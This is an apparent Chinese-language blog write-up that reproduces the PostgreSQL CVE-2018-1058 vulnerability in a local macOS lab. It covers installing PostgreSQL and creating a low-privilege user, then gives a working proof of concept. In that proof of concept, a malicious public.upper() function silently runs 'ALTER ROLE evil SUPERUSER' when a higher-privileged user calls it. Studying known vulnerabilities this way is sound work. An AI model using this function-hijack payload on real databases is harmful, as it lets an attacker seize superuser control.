零、参考文献和绪论:
1、先知社区chybeta大神的--PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】--一文
2、博客园hunchill的--Mac 下 PostgreSQL 的安装与使用--一文
一、PostgreSQL环境搭建:
在mac上面安装postgresql并启动postgresql
brew install postgresql
brew services start postgresql
二、创建用户配置环境:
1、初始化数据库,忘记在安装中还是初始化中,生成了超级用户,我的超级用户是hostname,这里使用bobac代替
brew services stop postgresql
initdb /usr/local/var/postgres -E utf8
brew services start postgresql
2、创建普通用户
createuser evil -P
3、创建数据库:
createdb evil -O evil -E UTF8 -e
三、原理分析介绍:
这个漏洞的原理就是在public空间上重载函数,加入恶意的程序代码。等待其他账户,尤其是高权限账户调用这个函数的时候,就会执行恶意代码(以高权限执行)从而达到远程恶意代码执行的目的。
四、过程举例(参考)
1、创建表并插入数据(evil权限执行):
CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents;
2、定义函数(evil权限执行):
CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
ALTER ROLE evil SUPERUSER;
SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;
3、查询时候使用upper函数(bobac权限执行)
SELECT upper(contents) FROM hehehehe;
此时就执行了ALTER ROLE evil SUPERUSER;
4、然后查看用户权限:
SELECT rolname,rolsuper FROM pg_roles;